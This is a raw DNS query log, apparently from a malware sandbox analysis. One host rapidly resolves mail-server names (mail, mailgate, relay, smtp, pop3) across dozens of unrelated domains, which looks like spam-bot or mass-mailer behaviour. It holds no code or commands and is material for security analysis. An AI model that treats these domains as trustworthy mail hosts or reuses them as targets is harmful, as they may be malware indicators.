Dec 20, 2023 03:13:33.873650074 CET	192.168.2.4	1.1.1.1	0x70f8	Standard query (0)	pop3.dfc.nettw	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.874047995 CET	192.168.2.4	1.1.1.1	0xc7b8	Standard query (0)	pop3.ilovetechno.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.874476910 CET	192.168.2.4	1.1.1.1	0x7647	Standard query (0)	pop3.curtisoutland.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.964382887 CET	192.168.2.4	1.1.1.1	0xd786	Standard query (0)	pop3.lum-gaming.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.967776060 CET	192.168.2.4	1.1.1.1	0x8097	Standard query (0)	pop3.youre.a.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:34.310422897 CET	192.168.2.4	1.1.1.1	0xa666	Standard query (0)	ssh.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:34.332942009 CET	192.168.2.4	1.1.1.1	0x691b	Standard query (0)	pop3.zhelen.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:34.360613108 CET	192.168.2.4	1.1.1.1	0xb440	Standard query (0)	mailgate.nationwide-claims.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:34.880377054 CET	192.168.2.4	1.1.1.1	0x4ec7	Standard query (0)	mailgate.crayzrocker.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:34.880970001 CET	192.168.2.4	1.1.1.1	0x8d00	Standard query (0)	mailgate.radiomaria.orgar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:34.959602118 CET	192.168.2.4	1.1.1.1	0x1b6b	Standard query (0)	pop3.dlirfo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.598557949 CET	192.168.2.4	1.1.1.1	0x13ea	Standard query (0)	mail.ba02867e18351c89.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.608983994 CET	192.168.2.4	1.1.1.1	0x180	Standard query (0)	kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.609008074 CET	192.168.2.4	1.1.1.1	0xa666	Standard query (0)	ssh.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.609446049 CET	192.168.2.4	1.1.1.1	0xe200	Standard query (0)	mail.ilovetechno.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.636208057 CET	192.168.2.4	1.1.1.1	0xf146	Standard query (0)	mail.yjroeown.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.637100935 CET	192.168.2.4	1.1.1.1	0x926b	Standard query (0)	pop3.nothingbutmiraclesphotography.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.638087988 CET	192.168.2.4	1.1.1.1	0x2d18	Standard query (0)	imap.remafer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.652033091 CET	192.168.2.4	1.1.1.1	0x3292	Standard query (0)	mailgate.sgeg-usa.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.654057026 CET	192.168.2.4	1.1.1.1	0x1598	Standard query (0)	mail.fzdwiq.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.654234886 CET	192.168.2.4	1.1.1.1	0x2eed	Standard query (0)	mail.clsunlimited.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.654716969 CET	192.168.2.4	1.1.1.1	0x7c8d	Standard query (0)	mailgate.cummingscreativegroup.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.654716969 CET	192.168.2.4	1.1.1.1	0x8a4f	Standard query (0)	mailgate.leuadxqqqn.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.655006886 CET	192.168.2.4	1.1.1.1	0x87e9	Standard query (0)	mailgate.9ef1e72a04361055.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.655256033 CET	192.168.2.4	1.1.1.1	0x483	Standard query (0)	mail.nationwide-claims.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.656038046 CET	192.168.2.4	1.1.1.1	0xcc56	Standard query (0)	mailgate.vaoypo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.656588078 CET	192.168.2.4	1.1.1.1	0xabe1	Standard query (0)	pop3.justhelpthyself.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.656588078 CET	192.168.2.4	1.1.1.1	0x4fd6	Standard query (0)	mailgate.8d560e557e715856.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.656894922 CET	192.168.2.4	1.1.1.1	0x5202	Standard query (0)	imap.ba02867e18351c89.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.658562899 CET	192.168.2.4	1.1.1.1	0x11c	Standard query (0)	imap.churchofscientology.orguk	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.658562899 CET	192.168.2.4	1.1.1.1	0xc620	Standard query (0)	mail.9ef1e72a04361055.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.681330919 CET	192.168.2.4	1.1.1.1	0x700d	Standard query (0)	mail.crayzrocker.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.681797028 CET	192.168.2.4	1.1.1.1	0xf22b	Standard query (0)	mail.vaoypo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.682221889 CET	192.168.2.4	1.1.1.1	0xf565	Standard query (0)	mail.floridasun.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.683630943 CET	192.168.2.4	1.1.1.1	0x6c40	Standard query (0)	mail.dm.famm.us	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.684730053 CET	192.168.2.4	1.1.1.1	0xbdfc	Standard query (0)	mail.youre.a.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.685036898 CET	192.168.2.4	1.1.1.1	0xccb0	Standard query (0)	mail.gatewayseweranddrain.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.685368061 CET	192.168.2.4	1.1.1.1	0xb968	Standard query (0)	mailgate.8f7940a0023aab5c.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.685718060 CET	192.168.2.4	1.1.1.1	0x2f05	Standard query (0)	mail.yjprwlto.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.688664913 CET	192.168.2.4	1.1.1.1	0x1d98	Standard query (0)	mail.a4f53bcfebc986c4.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.689106941 CET	192.168.2.4	1.1.1.1	0x4508	Standard query (0)	mail.dfc.nettw	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.689356089 CET	192.168.2.4	1.1.1.1	0x36e1	Standard query (0)	mail.sgeg-usa.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.689475060 CET	192.168.2.4	1.1.1.1	0x3160	Standard query (0)	mail.sachem.com.ar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.691694975 CET	192.168.2.4	1.1.1.1	0x2fdb	Standard query (0)	imap.radiomaria.orgar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.692634106 CET	192.168.2.4	1.1.1.1	0xc09d	Standard query (0)	pop3.yjroeown.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.692945957 CET	192.168.2.4	1.1.1.1	0x23e7	Standard query (0)	mailgate.ba02867e18351c89.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.693309069 CET	192.168.2.4	1.1.1.1	0x14cd	Standard query (0)	mail.janicearies.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.701839924 CET	192.168.2.4	1.1.1.1	0x3b11	Standard query (0)	mail.lum-gaming.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.702605963 CET	192.168.2.4	1.1.1.1	0xf25a	Standard query (0)	mail.8d560e557e715856.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.702662945 CET	192.168.2.4	1.1.1.1	0x1cbb	Standard query (0)	mail.habbocentral.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.716588020 CET	192.168.2.4	1.1.1.1	0xa868	Standard query (0)	mail.rmckenna.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.716870070 CET	192.168.2.4	1.1.1.1	0x4fc4	Standard query (0)	mail.jcdnc.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.724683046 CET	192.168.2.4	1.1.1.1	0xe185	Standard query (0)	mail.remafer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.799175024 CET	192.168.2.4	1.1.1.1	0xe010	Standard query (0)	mail.radiomaria.orgar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.818579912 CET	192.168.2.4	1.1.1.1	0x5be6	Standard query (0)	mail.8f7940a0023aab5c.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.818646908 CET	192.168.2.4	1.1.1.1	0xedae	Standard query (0)	mail.x-woofer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.877774954 CET	192.168.2.4	1.1.1.1	0x1f9b	Standard query (0)	mail.dekoracio.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.878531933 CET	192.168.2.4	1.1.1.1	0xd3c5	Standard query (0)	mail.zhelen.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.885175943 CET	192.168.2.4	1.1.1.1	0xbe4e	Standard query (0)	mail.shopeeten.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.886192083 CET	192.168.2.4	1.1.1.1	0xbe3	Standard query (0)	mail.cummingscreativegroup.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.890853882 CET	192.168.2.4	1.1.1.1	0x8579	Standard query (0)	mail.nothingbutmiraclesphotography.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.907208920 CET	192.168.2.4	1.1.1.1	0xe4e5	Standard query (0)	mail.leuadxqqqn.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.907521009 CET	192.168.2.4	1.1.1.1	0xcde9	Standard query (0)	mail.alnajah.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.907821894 CET	192.168.2.4	1.1.1.1	0x5a59	Standard query (0)	mail.justhelpthyself.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.909883022 CET	192.168.2.4	1.1.1.1	0x8b06	Standard query (0)	mail.yokohamaichigoichie.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.910104036 CET	192.168.2.4	1.1.1.1	0xd7fe	Standard query (0)	mail.bsboil.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.911233902 CET	192.168.2.4	1.1.1.1	0x2fe5	Standard query (0)	mailgate.floridasun.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.935540915 CET	192.168.2.4	1.1.1.1	0x3ffa	Standard query (0)	ontariobluejays-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.941667080 CET	192.168.2.4	1.1.1.1	0x7293	Standard query (0)	orangutech-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.954356909 CET	192.168.2.4	1.1.1.1	0xbb5f	Standard query (0)	mail.calebandersondesigns.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.954632044 CET	192.168.2.4	1.1.1.1	0xf653	Standard query (0)	mail.dlirfo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.954797983 CET	192.168.2.4	1.1.1.1	0x250d	Standard query (0)	mail.4ku9ipwefstyxr.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.954989910 CET	192.168.2.4	1.1.1.1	0x2192	Standard query (0)	mail.curtisoutland.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.955725908 CET	192.168.2.4	1.1.1.1	0xccc6	Standard query (0)	mail.njbkrl.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.967782974 CET	192.168.2.4	1.1.1.1	0xa12b	Standard query (0)	texasopendoor-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.968879938 CET	192.168.2.4	1.1.1.1	0x1e07	Standard query (0)	atelcommunications-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.969901085 CET	192.168.2.4	1.1.1.1	0xfec2	Standard query (0)	conalcorp-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.970134974 CET	192.168.2.4	1.1.1.1	0x310	Standard query (0)	geoffreynolds-com-au.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.971349955 CET	192.168.2.4	1.1.1.1	0xe99f	Standard query (0)	nicsonsconcrete-com-au.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.013113022 CET	192.168.2.4	1.1.1.1	0x186b	Standard query (0)	mx2.emailsrvr.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.013391972 CET	192.168.2.4	1.1.1.1	0xcc40	Standard query (0)	ftp.u90soccercenter.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.023993015 CET	192.168.2.4	1.1.1.1	0x977a	Standard query (0)	ftp.theseekerchurch.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.027082920 CET	192.168.2.4	1.1.1.1	0x47dc	Standard query (0)	ftp.recipe-for-kids.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.029105902 CET	192.168.2.4	1.1.1.1	0xee8f	Standard query (0)	mailgate.rmckenna.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.029874086 CET	192.168.2.4	1.1.1.1	0x8ab1	Standard query (0)	justinsweet-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.032305002 CET	192.168.2.4	1.1.1.1	0x9887	Standard query (0)	mailgate.x-woofer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.032305002 CET	192.168.2.4	1.1.1.1	0xe44	Standard query (0)	mailgate.dm.famm.us	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.032797098 CET	192.168.2.4	1.1.1.1	0x329c	Standard query (0)	mailgate.habbocentral.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.033159018 CET	192.168.2.4	1.1.1.1	0xf90	Standard query (0)	mailgate.janicearies.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.033615112 CET	192.168.2.4	1.1.1.1	0x90d3	Standard query (0)	mailgate.calebandersondesigns.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.033615112 CET	192.168.2.4	1.1.1.1	0xe2e8	Standard query (0)	mailgate.njbkrl.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.033958912 CET	192.168.2.4	1.1.1.1	0x8005	Standard query (0)	mailgate.shopeeten.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.034331083 CET	192.168.2.4	1.1.1.1	0xdc55	Standard query (0)	mailgate.yokohamaichigoichie.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.034331083 CET	192.168.2.4	1.1.1.1	0x9f00	Standard query (0)	mailgate.a4f53bcfebc986c4.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.052428007 CET	192.168.2.4	1.1.1.1	0x8535	Standard query (0)	mailgate.churchofscientology.orguk	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.058001995 CET	192.168.2.4	1.1.1.1	0xfecd	Standard query (0)	mailgate.jcdnc.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.228615046 CET	192.168.2.4	1.1.1.1	0x4cbc	Standard query (0)	mailgate.sachem.com.ar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.230324030 CET	192.168.2.4	1.1.1.1	0x5e27	Standard query (0)	mailgate.yjprwlto.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.231900930 CET	192.168.2.4	1.1.1.1	0xde25	Standard query (0)	mailgate.alnajah.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.248223066 CET	192.168.2.4	1.1.1.1	0xc72e	Standard query (0)	mailgate.gatewayseweranddrain.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.248223066 CET	192.168.2.4	1.1.1.1	0xfa90	Standard query (0)	mailgate.clsunlimited.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.256016016 CET	192.168.2.4	1.1.1.1	0xf268	Standard query (0)	mailgate.dekoracio.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.302156925 CET	192.168.2.4	1.1.1.1	0xf986	Standard query (0)	mailgate.dlirfo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.302783966 CET	192.168.2.4	1.1.1.1	0xeb88	Standard query (0)	mailgate.lum-gaming.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.380865097 CET	192.168.2.4	1.1.1.1	0x5a95	Standard query (0)	mailgate.dfc.nettw	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.408876896 CET	192.168.2.4	1.1.1.1	0x132f	Standard query (0)	mailgate.bsboil.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.411149979 CET	192.168.2.4	1.1.1.1	0xb891	Standard query (0)	mailgate.fzdwiq.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.424994946 CET	192.168.2.4	1.1.1.1	0xb117	Standard query (0)	mailgate.curtisoutland.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.449215889 CET	192.168.2.4	1.1.1.1	0x53c3	Standard query (0)	mailgate.youre.a.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.450442076 CET	192.168.2.4	1.1.1.1	0xf31	Standard query (0)	mailgate.4ku9ipwefstyxr.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.450443029 CET	192.168.2.4	1.1.1.1	0x11bf	Standard query (0)	mailgate.ilovetechno.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.452425003 CET	192.168.2.4	1.1.1.1	0x28b8	Standard query (0)	relay.remafer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.454332113 CET	192.168.2.4	1.1.1.1	0xb26a	Standard query (0)	relay.nationwide-claims.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.454332113 CET	192.168.2.4	1.1.1.1	0xbbc3	Standard query (0)	mailgate.zhelen.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.490834951 CET	192.168.2.4	1.1.1.1	0x7aea	Standard query (0)	relay.crayzrocker.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.498879910 CET	192.168.2.4	1.1.1.1	0x2657	Standard query (0)	relay.radiomaria.orgar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.516190052 CET	192.168.2.4	1.1.1.1	0x281a	Standard query (0)	mailgate.yjroeown.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.521596909 CET	192.168.2.4	1.1.1.1	0x5063	Standard query (0)	pop.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.591662884 CET	192.168.2.4	1.1.1.1	0x412d	Standard query (0)	relay.sgeg-usa.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.591662884 CET	192.168.2.4	1.1.1.1	0xe969	Standard query (0)	mailgate.justhelpthyself.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.700366020 CET	192.168.2.4	1.1.1.1	0xdb04	Standard query (0)	relay.vaoypo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.711230040 CET	192.168.2.4	1.1.1.1	0x72ef	Standard query (0)	relay.cummingscreativegroup.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.712500095 CET	192.168.2.4	1.1.1.1	0x56ab	Standard query (0)	relay.leuadxqqqn.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.714989901 CET	192.168.2.4	1.1.1.1	0x1b67	Standard query (0)	relay.8f7940a0023aab5c.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.716392040 CET	192.168.2.4	1.1.1.1	0x79d0	Standard query (0)	mailgate.nothingbutmiraclesphotography.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.752005100 CET	192.168.2.4	1.1.1.1	0x190	Standard query (0)	relay.9ef1e72a04361055.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.777915001 CET	192.168.2.4	1.1.1.1	0xc669	Standard query (0)	relay.ba02867e18351c89.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.818228006 CET	192.168.2.4	1.1.1.1	0xb86	Standard query (0)	relay.8d560e557e715856.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.848427057 CET	192.168.2.4	1.1.1.1	0x62ab	Standard query (0)	relay.floridasun.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.011969090 CET	192.168.2.4	1.1.1.1	0xefb5	Standard query (0)	relay.habbocentral.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.013092041 CET	192.168.2.4	1.1.1.1	0xb771	Standard query (0)	relay.janicearies.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.013319016 CET	192.168.2.4	1.1.1.1	0x62f	Standard query (0)	relay.calebandersondesigns.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.015235901 CET	192.168.2.4	1.1.1.1	0xa847	Standard query (0)	relay.a4f53bcfebc986c4.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.015541077 CET	192.168.2.4	1.1.1.1	0xb601	Standard query (0)	relay.churchofscientology.orguk	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.029536009 CET	192.168.2.4	1.1.1.1	0x5f40	Standard query (0)	relay.rmckenna.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.030003071 CET	192.168.2.4	1.1.1.1	0x56e3	Standard query (0)	relay.dm.famm.us	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.032399893 CET	192.168.2.4	1.1.1.1	0xfdbe	Standard query (0)	imap.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.032793045 CET	192.168.2.4	1.1.1.1	0xcfe8	Standard query (0)	relay.yokohamaichigoichie.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.032994986 CET	192.168.2.4	1.1.1.1	0x8d7	Standard query (0)	relay.shopeeten.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.033322096 CET	192.168.2.4	1.1.1.1	0x5995	Standard query (0)	relay.njbkrl.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.033555031 CET	192.168.2.4	1.1.1.1	0x5df	Standard query (0)	relay.x-woofer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.081125975 CET	192.168.2.4	1.1.1.1	0x667e	Standard query (0)	relay.jcdnc.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.164169073 CET	192.168.2.4	1.1.1.1	0xddaa	Standard query (0)	smtp.floridasun.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.169527054 CET	192.168.2.4	1.1.1.1	0xe922	Standard query (0)	smtp.churchofscientology.orguk	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.190048933 CET	192.168.2.4	1.1.1.1	0xd275	Standard query (0)	smtp.remafer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.386656046 CET	192.168.2.4	1.1.1.1	0xd363	Standard query (0)	smtp.dm.famm.us	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.458908081 CET	192.168.2.4	1.1.1.1	0x443c	Standard query (0)	smtp.janicearies.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.459408045 CET	192.168.2.4	1.1.1.1	0x7328	Standard query (0)	smtp.rmckenna.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.528743029 CET	192.168.2.4	1.1.1.1	0x5063	Standard query (0)	pop.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.529448032 CET	192.168.2.4	1.1.1.1	0x5afe	Standard query (0)	smtp.lum-gaming.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.531559944 CET	192.168.2.4	1.1.1.1	0x12e	Standard query (0)	smtp.8d560e557e715856.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.531935930 CET	192.168.2.4	1.1.1.1	0x2d7a	Standard query (0)	smtp.habbocentral.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.536406994 CET	192.168.2.4	1.1.1.1	0xf0c6	Standard query (0)	relay.clsunlimited.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.543266058 CET	192.168.2.4	1.1.1.1	0x84f2	Standard query (0)	smtp.a4f53bcfebc986c4.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.543266058 CET	192.168.2.4	1.1.1.1	0x4202	Standard query (0)	relay.alnajah.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.552639961 CET	192.168.2.4	1.1.1.1	0xb994	Standard query (0)	smtp.crayzrocker.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.559365034 CET	192.168.2.4	1.1.1.1	0xa743	Standard query (0)	smtp.sgeg-usa.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.560790062 CET	192.168.2.4	1.1.1.1	0xc185	Standard query (0)	smtp.jcdnc.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.566122055 CET	192.168.2.4	1.1.1.1	0x95bc	Standard query (0)	relay.yjprwlto.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.566999912 CET	192.168.2.4	1.1.1.1	0x628c	Standard query (0)	smtp.vaoypo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.642513037 CET	192.168.2.4	1.1.1.1	0x2c1	Standard query (0)	relay.sachem.com.ar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.671941996 CET	192.168.2.4	1.1.1.1	0xaa37	Standard query (0)	relay.curtisoutland.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.672688007 CET	192.168.2.4	1.1.1.1	0x5485	Standard query (0)	relay.gatewayseweranddrain.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.673366070 CET	192.168.2.4	1.1.1.1	0x3849	Standard query (0)	relay.dekoracio.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.676100969 CET	192.168.2.4	1.1.1.1	0x777e	Standard query (0)	smtp.radiomaria.orgar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.676249981 CET	192.168.2.4	1.1.1.1	0x378e	Standard query (0)	relay.dlirfo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.677983046 CET	192.168.2.4	1.1.1.1	0xe85e	Standard query (0)	relay.lum-gaming.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.682410955 CET	192.168.2.4	1.1.1.1	0x716d	Standard query (0)	relay.justhelpthyself.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.705740929 CET	192.168.2.4	1.1.1.1	0xf26	Standard query (0)	smtp.nationwide-claims.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.738406897 CET	192.168.2.4	1.1.1.1	0x2ba9	Standard query (0)	relay.yjroeown.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.739626884 CET	192.168.2.4	1.1.1.1	0x9843	Standard query (0)	relay.4ku9ipwefstyxr.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.743386984 CET	192.168.2.4	1.1.1.1	0x1845	Standard query (0)	smtp.ba02867e18351c89.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.744127989 CET	192.168.2.4	1.1.1.1	0xf389	Standard query (0)	smtp.leuadxqqqn.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.770869970 CET	192.168.2.4	1.1.1.1	0x580d	Standard query (0)	relay.ilovetechno.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.770869970 CET	192.168.2.4	1.1.1.1	0x2f12	Standard query (0)	relay.zhelen.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.771274090 CET	192.168.2.4	1.1.1.1	0x9ba9	Standard query (0)	smtp.8f7940a0023aab5c.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.771497965 CET	192.168.2.4	1.1.1.1	0xf44	Standard query (0)	relay.youre.a.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:38.937133074 CET	192.168.2.4	1.1.1.1	0x4fbd	Standard query (0)	relay.bsboil.com	A (IP address)	IN (0x0001)	false
